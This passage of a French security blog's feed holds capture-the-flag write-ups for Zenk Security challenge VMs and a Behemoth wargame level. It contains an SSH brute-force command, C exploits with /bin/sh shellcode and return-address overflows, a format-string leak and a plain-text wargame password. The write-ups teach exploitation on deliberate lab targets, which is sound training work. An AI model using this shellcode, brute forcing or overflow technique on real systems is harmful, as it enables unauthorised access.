href="http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf"&gt;http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level4&lt;/span&gt;&lt;br /&gt;Objectif : Lire le fichier /root/pass&lt;br /&gt;Indice : &lt;a href="http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf"&gt;http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je rajouterais des indices si besoin est, n'hésitez pas à poser vos questions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-7000214005116545334?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/7000214005116545334/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=7000214005116545334' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7000214005116545334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7000214005116545334'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/04/bonsoir-voici-enfin-la-seconde-vm.html' title='VM Zenk Security [Applicative] N°2'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-2789941603289190923</id><published>2010-04-08T07:49:00.000+02:00</published><updated>2010-04-08T08:05:50.515+02:00</updated><title type='text'>VM Zenk Security [Applicative] N°1</title><content type='html'>Bonjour!&lt;br /&gt;&lt;br /&gt;Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.&lt;br /&gt;&lt;br /&gt;Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.&lt;br /&gt;&lt;br /&gt;Elle est disponible ici:&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/373125517/VMZenk_App1.7z&lt;br /&gt;&lt;br /&gt;C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).&lt;br /&gt;&lt;br /&gt;Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Niveau 1&lt;/span&gt;&lt;br /&gt;Objectif: Obtenir un accès user1 à la machine&lt;br /&gt;Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Niveau 2&lt;/span&gt;&lt;br /&gt;Objectif: Obtenir un accès user2 à la machine&lt;br /&gt;Indice: Aucun&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Niveau 3&lt;/span&gt;&lt;br /&gt;Objectif: Lire le fichier /root/yeah&lt;br /&gt;Indice: Aucun&lt;br /&gt;&lt;br /&gt;Et voici donc mes solutions (Attention spoiler:)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level1:&lt;/span&gt;&lt;br /&gt;&lt;div style='border:1px solid white;color:#d1d1d1;background:#000000;'&gt;root&lt;span style='color:#d2cd86; '&gt;@&lt;/span&gt;bt&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;/&lt;/span&gt;pentest&lt;span style='color:#d2cd86; '&gt;/&lt;/span&gt;passwords&lt;span style='color:#d2cd86; '&gt;/&lt;/span&gt;brutessh# .&lt;span style='color:#d2cd86; '&gt;/&lt;/span&gt;brutessh.py &lt;span style='color:#d2cd86; '&gt;-&lt;/span&gt;h &lt;span style='color:#00a800; '&gt;192&lt;/span&gt;.&lt;span style='color:#00a800; '&gt;168&lt;/span&gt;.&lt;span style='color:#00a800; '&gt;0&lt;/span&gt;.&lt;span style='color:#00a800; '&gt;17&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;-&lt;/span&gt;u user1 &lt;span style='color:#d2cd86; '&gt;-&lt;/span&gt;d ..&lt;span style='color:#d2cd86; '&gt;/&lt;/span&gt;wordlists&lt;span style='color:#d2cd86; '&gt;/&lt;/span&gt;darkc0de.lst&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level2&lt;/span&gt;&lt;br /&gt;&lt;div style='border:1px solid white;color:#d1d1d1;background:#000000;'&gt;&lt;span style='color:#008073; '&gt;#&lt;/span&gt;&lt;span style='color:#008073; '&gt;include &lt;/span&gt;&lt;span style='color:#02d045; '&gt;&amp;lt;&lt;/span&gt;&lt;span style='color:#40015a; '&gt;stdio.h&lt;/span&gt;&lt;span style='color:#02d045; '&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#008073; '&gt;#&lt;/span&gt;&lt;span style='color:#008073; '&gt;include &lt;/span&gt;&lt;span style='color:#02d045; '&gt;&amp;lt;&lt;/span&gt;&lt;span style='color:#40015a; '&gt;string.h&lt;/span&gt;&lt;span style='color:#02d045; '&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;int&lt;/span&gt; &lt;span style='color:#e66170; font-weight:bold; '&gt;main&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;void&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#b060b0; '&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;int&lt;/span&gt; nbnop&lt;span style='color:#d2cd86; '&gt;=&lt;/span&gt;&lt;span style='color:#008c00; '&gt;109&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt; shellcode&lt;span style='color:#d2cd86; '&gt;[&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;]&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;=&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x6a&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x0b&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x58&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x99&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x52&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x68&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x2f&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x2f&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x73&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x68&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x68&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x2f&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x62&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x69&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x6e&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x89&lt;/span&gt;&lt;span style='color:#008080; '&gt;\xe3&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x52&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x53&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x89&lt;/span&gt;&lt;span style='color:#008080; '&gt;\xe1&lt;/span&gt;&lt;span style='color:#008080; '&gt;\xcd&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x80&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style='color:#9999a9; '&gt;//Adresses de retour possibles (call   *%eax):&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#9999a9; '&gt;// 0x80483bf&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#9999a9; '&gt;// 0x8048523        &lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt; retA&lt;span style='color:#d2cd86; '&gt;[&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;]&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;=&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#008080; '&gt;\xbf&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x83&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x04&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x08&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt; data&lt;span style='color:#d2cd86; '&gt;[&lt;/span&gt;&lt;span style='color:#008c00; '&gt;500&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;]&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt; sysc&lt;span style='color:#d2cd86; '&gt;[&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;]&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        memset&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;data&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;sizeof&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;*&lt;/span&gt;&lt;span style='color:#008c00; '&gt;500&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        memset&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;sizeof&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;*&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;int&lt;/span&gt; i&lt;span style='color:#d2cd86; '&gt;=&lt;/span&gt;&lt;span style='color:#008c00; '&gt;0&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Prepare sc..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        strncat&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;data&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;shellcode&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;500&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Prepare nop..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;for&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;i&lt;span style='color:#d2cd86; '&gt;=&lt;/span&gt;&lt;span style='color:#008c00; '&gt;0&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;i&lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;nbnop&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;i&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#b060b0; '&gt;{&lt;/span&gt;&lt;br /&gt;        strncat&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;data&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#008080; '&gt;\x90&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;500&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#b060b0; '&gt;}&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        strncat&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;data&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;retA&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;500&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Prepare new eip..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        strncpy&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;/home/user1/1 &lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Prepare data..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        strncat&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;data&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;500&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Try..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        system&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#b060b0; '&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level3&lt;/span&gt;&lt;br /&gt;&lt;div style='border:1px solid white;color:#d1d1d1;background:#000000;'&gt;&lt;span style='color:#008073; '&gt;#&lt;/span&gt;&lt;span style='color:#008073; '&gt;include &lt;/span&gt;&lt;span style='color:#02d045; '&gt;&amp;lt;&lt;/span&gt;&lt;span style='color:#40015a; '&gt;string.h&lt;/span&gt;&lt;span style='color:#02d045; '&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style='color:#008073; '&gt;#&lt;/span&gt;&lt;span style='color:#008073; '&gt;define&lt;/span&gt;&lt;span style='color:#008073; '&gt; FILE_TO_READ &lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;/root/yeah&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;int&lt;/span&gt; &lt;span style='color:#e66170; font-weight:bold; '&gt;main&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;void&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#b060b0; '&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt;     junkdata&lt;span style='color:#d2cd86; '&gt;[&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;]&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt;     sysc&lt;span style='color:#d2cd86; '&gt;[&lt;/span&gt;&lt;span style='color:#008c00; '&gt;700&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;]&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Prepare junkdata..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        memset&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;junkdata&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;sizeof&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;*&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        memset&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;junkdata&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#00a800; '&gt;0x41&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;sizeof&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#e66170; font-weight:bold; '&gt;char&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;*&lt;/span&gt;&lt;span style='color:#008c00; '&gt;520&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        strncat&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;junkdata&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;FILE_TO_READ&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Prepare filename..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        strncpy&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;/home/user2/2 &lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;600&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        strncat&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;junkdata&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#008c00; '&gt;700&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        printf&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#00c4c4; '&gt;Try..&lt;/span&gt;&lt;span style='color:#008080; '&gt;\n&lt;/span&gt;&lt;span style='color:#02d045; '&gt;"&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        system&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;sysc&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#b060b0; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#b060b0; '&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-2789941603289190923?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/2789941603289190923/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=2789941603289190923' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2789941603289190923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2789941603289190923'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/04/vm-zenk-security-applicative-n1.html' title='VM Zenk Security [Applicative] N°1'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-2693616634837925802</id><published>2010-03-05T13:08:00.001+01:00</published><updated>2010-03-06T12:12:08.194+01:00</updated><title type='text'>Format String par l'exemple</title><content type='html'>Behemoth level4 [Intruded.net]&lt;br /&gt;behemoth.intruded.net : 10103&lt;br /&gt;user : level4&lt;br /&gt;pass : Shai#N9b&lt;br /&gt;&lt;br /&gt;level4@behemoth:~$ cd /wargame/&lt;br /&gt;level4@behemoth:/wargame$ ./level4&lt;br /&gt;Identify yourself: 5m0k3&lt;br /&gt;Welcome, 5m0k3&lt;br /&gt;&lt;br /&gt;Voyons si un Bof est possible :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ (python -c "print 'A'*512") | ./level4                      &lt;br /&gt;[...]&lt;br /&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;level4@behemoth:/wargame$&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Non... Peut etre une format string?&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x'") | ./level4&lt;br /&gt;Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ok, regardons donc le binaire de plus près...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white"&gt;level4@behemoth:/wargame$ gdb level4&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;overflown:auto;"&gt;&lt;pre style='color:#d1d1d1;background:#000000;'&gt;&lt;span style='color:#00a800; '&gt;0x080483f4&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;    &lt;span style='color:#e66170; font-weight:bold; '&gt;push&lt;/span&gt;   &lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;ebp&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; 